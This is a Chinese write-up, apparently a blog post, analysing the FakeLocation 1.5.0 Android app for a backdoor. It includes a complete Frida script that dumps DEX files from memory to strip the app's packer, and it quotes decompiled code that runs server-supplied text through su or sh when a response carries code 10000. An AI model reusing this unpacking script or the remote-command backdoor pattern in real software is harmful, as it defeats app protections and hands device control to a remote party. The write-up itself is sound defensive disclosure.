1.脱壳
前人做过的工作中,明确提到此apk存在保护壳,既然如此,不如直接通过内存dump出动态加载的dex。我选择的工具是frida,让AI写个通用扫描脚本:
'use strict';
const OUT_DIR = '/data/local/tmp';
const DEX_PATTERN = '64 65 78 0a 30 ?? ?? 00';
const MAX_DEX_SIZE = 256 * 1024 * 1024;
const MIN_DEX_SIZE = 112;
const dumped = {};
let scanRunning = false;
let scanId = 0;
let outDirReady = false;
function findExport(name) {
if (typeof Module.findGlobalExportByName === 'function') {
return Module.findGlobalExportByName(name);
}
if (typeof Module.findExportByName === 'function') {
return Module.findExportByName(null, name);
}
return null;
}
function now() {
return (new Date()).toISOString();
}
function log(msg) {
console.log(`[${now()}] ${msg}`);
}
function sanitize(s) {
return String(s || 'unknown').replace(/[^A-Za-z0-9_.-]+/g, '_').slice(0, 96);
}
function ensureOutDir() {
if (outDirReady) return true;
try {
const mkdirPtr = findExport('mkdir');
if (!mkdirPtr) {
log('mkdir export not found');
return false;
}
const mkdir = new NativeFunction(mkdirPtr, 'int', ['pointer', 'int']);
let current = '';
OUT_DIR.split('/').forEach(function (part) {
if (part.length === 0) return;
current += '/' + part;
mkdir(Memory.allocUtf8String(current), 0o700);
});
outDirReady = true;
return true;
} catch (e) {
log(`ensureOutDir failed: ${e}`);
return false;
}
}
function validateDex(addr) {
try {
const fileSize = addr.add(0x20).readU32();
const headerSize = addr.add(0x24).readU32();
const endian = addr.add(0x28).readU32();
const stringIdsSize = addr.add(0x38).readU32();
const typeIdsSize = addr.add(0x40).readU32();
const protoIdsSize = addr.add(0x48).readU32();
const methodIdsSize = addr.add(0x58).readU32();
const classDefsSize = addr.add(0x60).readU32();
if (fileSize < MIN_DEX_SIZE || fileSize > MAX_DEX_SIZE) return null;
if (headerSize !== 0x70) return null;
if (endian !== 0x12345678) return null;
if (stringIdsSize === 0 || typeIdsSize === 0 || protoIdsSize === 0) return null;
if (methodIdsSize === 0 || classDefsSize === 0) return null;
return {
fileSize,
stringIdsSize,
typeIdsSize,
protoIdsSize,
methodIdsSize,
classDefsSize
};
} catch (e) {
return null;
}
}
function dumpDex(addr, range, source) {
const meta = validateDex(addr);
if (meta === null) return false;
if (!ensureOutDir()) return false;
const key = `${addr}_${meta.fileSize}_${meta.classDefsSize}`;
if (dumped[key]) return false;
dumped[key] = true;
try {
const data = addr.readByteArray(meta.fileSize);
const name = [
'dex',
sanitize(source),
addr.toString().replace('0x', ''),
meta.fileSize,
`c${meta.classDefsSize}`,
`m${meta.methodIdsSize}`
].join('_') + '.dex';
const path = `${OUT_DIR}/${name}`;
const f = new File(path, 'wb');
f.write(data);
if (typeof f.flush === 'function') f.flush();
f.close();
log(`DUMPED ${path} size=${meta.fileSize} classes=${meta.classDefsSize} methods=${meta.methodIdsSize} range=${range.base}-${range.base.add(range.size)} file=${range.file ? range.file.path : ''}`);
return true;
} catch (e) {
log(`dump failed at ${addr}: ${e}`);
return false;
}
}
function readableRanges() {
const protections = ['r--'];
const ranges = [];
const seen = {};
protections.forEach(function (prot) {
try {
Process.enumerateRanges(prot).forEach(function (r) {
const key = `${r.base}_${r.size}_${r.protection}`;
if (seen[key]) return;
seen[key] = true;
if (r.size >= MIN_DEX_SIZE && r.size <= MAX_DEX_SIZE * 2) ranges.push(r);
});
} catch (e) {
log(`enumerateRanges ${prot} failed: ${e}`);
}
});
return ranges;
}
function scanDexMemory(reason) {
if (scanRunning) return;
scanRunning = true;
const current = ++scanId;
let hitCount = 0;
let dumpCount = 0;
const ranges = readableRanges();
log(`scan#${current} start reason=${reason} ranges=${ranges.length}`);
try {
ranges.forEach(function (range) {
let matches;
try {
matches = Memory.scanSync(range.base, range.size, DEX_PATTERN);
} catch (e) {
return;
}
matches.forEach(function (m) {
hitCount++;
if (dumpDex(m.address, range, reason)) dumpCount++;
});
});
} finally {
log(`scan#${current} done hits=${hitCount} new_dumps=${dumpCount}`);
scanRunning = false;
}
}
function scanSoon(reason, delayMs) {
setTimeout(function () {
scanDexMemory(reason);
}, delayMs || 250);
}
function hookNativeLoaders() {
['android_dlopen_ext', 'dlopen'].forEach(function (name) {
const p = findExport(name);
if (!p) return;
Interceptor.attach(p, {
onEnter(args) {
this.path = args[0].isNull() ? '' : args[0].readCString();
if (this.path && (this.path.indexOf('jiagu') >= 0 || this.path.indexOf('fakeloc') >= 0 || this.path.indexOf('libfl') >= 0 || this.path.indexOf('liblh') >= 0 || this.path.indexOf('.so') >= 0)) {
log(`${name} enter ${this.path}`);
}
},
onLeave(retval) {
if (this.path && (this.path.indexOf('此处写关键词') >= 0) {
log(`${name} leave ${this.path} => ${retval}`);
scanSoon(`${name}:${this.path}`, 500);
}
}
});
});
}
function hookJavaLoaders() {
Java.perform(function () {
try {
const System = Java.use('java.lang.System');
const sysLoad = System.load.overload('java.lang.String');
sysLoad.implementation = function (path) {
log(`System.load ${path}`);
const ret = sysLoad.call(this, path);
scanSoon(`System.load:${path}`, 500);
return ret;
};
const sysLoadLibrary = System.loadLibrary.overload('java.lang.String');
sysLoadLibrary.implementation = function (name) {
log(`System.loadLibrary ${name}`);
const ret = sysLoadLibrary.call(this, name);
scanSoon(`System.loadLibrary:${name}`, 500);
return ret;
};
} catch (e) {
log(`hook System loaders failed: ${e}`);
}
try {
const Runtime = Java.use('java.lang.Runtime');
const rtLoad = Runtime.load.overload('java.lang.String');
rtLoad.implementation = function (path) {
log(`Runtime.load ${path}`);
const ret = rtLoad.call(this, path);
scanSoon(`Runtime.load:${path}`, 500);
return ret;
};
const rtLoadLibrary = Runtime.loadLibrary.overload('java.lang.String');
rtLoadLibrary.implementation = function (name) {
log(`Runtime.loadLibrary ${name}`);
const ret = rtLoadLibrary.call(this, name);
scanSoon(`Runtime.loadLibrary:${name}`, 500);
return ret;
};
} catch (e) {
log(`hook Runtime loaders failed: ${e}`);
}
try {
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
const init = DexClassLoader.$init.overload('java.lang.String', 'java.lang.String', 'java.lang.String', 'java.lang.ClassLoader');
init.implementation = function (dexPath, optDir, libPath, parent) {
log(`DexClassLoader dexPath=${dexPath} optDir=${optDir} libPath=${libPath}`);
const ret = init.call(this, dexPath, optDir, libPath, parent);
scanSoon(`DexClassLoader:${dexPath}`, 500);
return ret;
};
} catch (e) {
log(`hook DexClassLoader failed: ${e}`);
}
try {
const InMemoryDexClassLoader = Java.use('dalvik.system.InMemoryDexClassLoader');
InMemoryDexClassLoader.$init.overloads.forEach(function (ov) {
ov.implementation = function () {
log(`InMemoryDexClassLoader ctor argc=${arguments.length}`);
const ret = ov.apply(this, arguments);
scanSoon('InMemoryDexClassLoader', 250);
return ret;
};
});
} catch (e) {
log(`hook InMemoryDexClassLoader failed: ${e}`);
}
try {
const DexFile = Java.use('dalvik.system.DexFile');
DexFile.class.getDeclaredMethods().forEach(function (m) {
const n = m.getName().toString();
if (n.indexOf('open') >= 0 || n.indexOf('load') >= 0) log(`DexFile method ${m.toString()}`);
});
['openDexFile', 'openDexFileNative'].forEach(function (methodName) {
try {
DexFile[methodName].overloads.forEach(function (ov) {
ov.implementation = function () {
const args = [];
for (let i = 0; i < arguments.length; i++) args.push(String(arguments[i]));
log(`DexFile.${methodName}(${args.join(', ')})`);
const ret = ov.apply(this, arguments);
scanSoon(`DexFile.${methodName}`, 250);
return ret;
};
});
} catch (inner) {
}
});
} catch (e) {
log(`hook DexFile failed: ${e}`);
}
scanSoon('Java.perform.initial', 0);
});
}
hookNativeLoaders();
if (Java.available) {
hookJavaLoaders();
} else {
log('Java runtime not available at script init');
}
[0, 1000, 2500, 5000, 8000, 12000, 18000, 25000, 35000, 50000, 70000, 90000].forEach(function (delay) {
setTimeout(function () {
scanDexMemory(`timer_${delay}`);
}, delay);
});
脚本在APP启动后Attach,Hook各类加载器,并分多个时间扫描内存,自动匹配dex并去重后dump出来。这样做的目的是防止壳在早期执行反检测代码,调用 native ART 接口、直接 mmap,或者在脚本注入前就完成加载。
2.从大量 DEX 中筛出应用代码
dump出来的dex很多,有上百个。为了排除掉各类SDK等内容,让AI筛了一下,它是这么做的:
- 优先排除日志
range.file 明确指向 /system、/apex 的框架 DEX;
- 对匿名映射和来源为空的 DEX 保留,因为壳恢复的应用 DEX 往往没有普通文件路径;
- 搜索 APP名称、
Runtime.exec、ver/vfs 等类名/字符串。
最终找出来了7个候选。使用jadx进行批量反编译。
3.查找后门代码
由于本次逆向主要目的是查看其是否还有后门,直接尝试搜索Runtime.getRuntime、.exec、new ProcessBuilder、DataOutputStream、su、sh -c等标志性字符串。最终定位到几处代码:
- androidx.appcompat.view.link.C3546.AbstractC3548<T>实现了网络回调接口。若失败码恰好为 10000,进入命令执行分支。
int code = mo0Var.getCode();
String message = mo0Var.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
q71.m4449(true, message);
q71.m4449(false, message);
}
m449是个空壳,实际调用了m4455,其中包含下面的su/sh远程命令执行:
public static String rootShell = "su";
Process p = Runtime.getRuntime().exec(asRoot ? rootShell : "sh");
DataOutputStream stdin = new DataOutputStream(p.getOutputStream());
for (String cmd : commands) {
if (cmd != null) {
stdin.write(cmd.getBytes());
stdin.writeBytes("\n");
stdin.flush();
}
}
stdin.writeBytes("exit\n");
stdin.flush();
p.waitFor();
2.隐藏模块触发主动请求
该 DEX 的类集中在独立 p000 包中,如果它发现当前在规定的时间范围内,会启动主动请求:
public class C7525 {
/* JADX INFO: renamed from: ࢡ, reason: contains not printable characters */
public static void m36059() {
try {
C7531.m36063();
Location location = C7529.f55430;
if (System.currentTimeMillis() - 1775942698115L > 17280000000L) {
throw new RuntimeException("");
}
C5261.C5262.f18671 = new C7529();
synchronized (C7528.class) {
List<String> list = C7528.f55428;
new Thread(new RunnableC7527()).start();
}
} catch (Throwable th) {
}
}
}
而C7527内,也有如下代码:
if (zn0VarExecute.ඇ()) {
mo0 mo0Var = (mo0) zn0VarExecute.ඈ();
if (mo0Var.isSuccess()) {
List<String> array = InterfaceC5830.parseArray("" + mo0Var.getBody(), String.class);
if (array != null && !array.isEmpty()) {
C7528.f55428 = array;
C7528.f55429 = System.currentTimeMillis();
}
} else {
int code = mo0Var.getCode();
String message = mo0Var.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
C7532.m36064(true, message);
C7532.m36064(false, message);
}
}
}
逻辑和第一条一致,code为10000时执行message内的指令。
3.结论
从结果看,当前的FakeLocation 1.5.0内依旧包含远程代码执行模块。目前暂时未发现服务器会下发10000的code来调用此模块,但不代表未来不会执行。GitHub上的release不一定代表完全安全。